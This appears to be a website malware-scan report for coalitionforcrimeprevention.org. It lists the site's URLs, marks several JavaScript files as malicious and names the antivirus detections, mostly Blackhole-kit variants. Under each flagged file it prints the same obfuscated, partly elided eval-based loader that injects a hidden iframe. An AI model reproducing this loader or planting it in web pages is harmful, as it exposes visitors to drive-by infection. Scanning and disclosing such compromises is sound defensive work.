Request | Server response | Status |
http://coalitionforcrimeprevention.org/ | 200 OK Content-Length: 15257 Content-Type: text/html | clean |
http://coalitionforcrimeprevention.org/./assets/rollover.js | 200 OK Content-Length: 28412 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./assets/jquery.js | 200 OK Content-Length: 61780 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./assets/jmedia.js | 200 OK Content-Length: 21824 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./index_nof.js | 200 OK Content-Length: 4707 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./index.html | 200 OK Content-Length: 15257 Content-Type: text/html | clean |
http://coalitionforcrimeprevention.org/././assets/rollover.js | 200 OK Content-Length: 28412 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/././assets/jquery.js | 200 OK Content-Length: 61780 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/././assets/jmedia.js | 200 OK Content-Length: 21824 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/././index_nof.js | 200 OK Content-Length: 4707 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/././index.html | 200 OK Content-Length: 15257 Content-Type: text/html | clean |
http://coalitionforcrimeprevention.org/./././assets/rollover.js | 200 OK Content-Length: 28412 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./././assets/jquery.js | 200 OK Content-Length: 61780 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./././assets/jmedia.js | 200 OK Content-Length: 21824 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://coalitionforcrimeprevention.org/./././index_nof.js | 200 OK Content-Length: 4707 Content-Type: application/javascript | malicious |
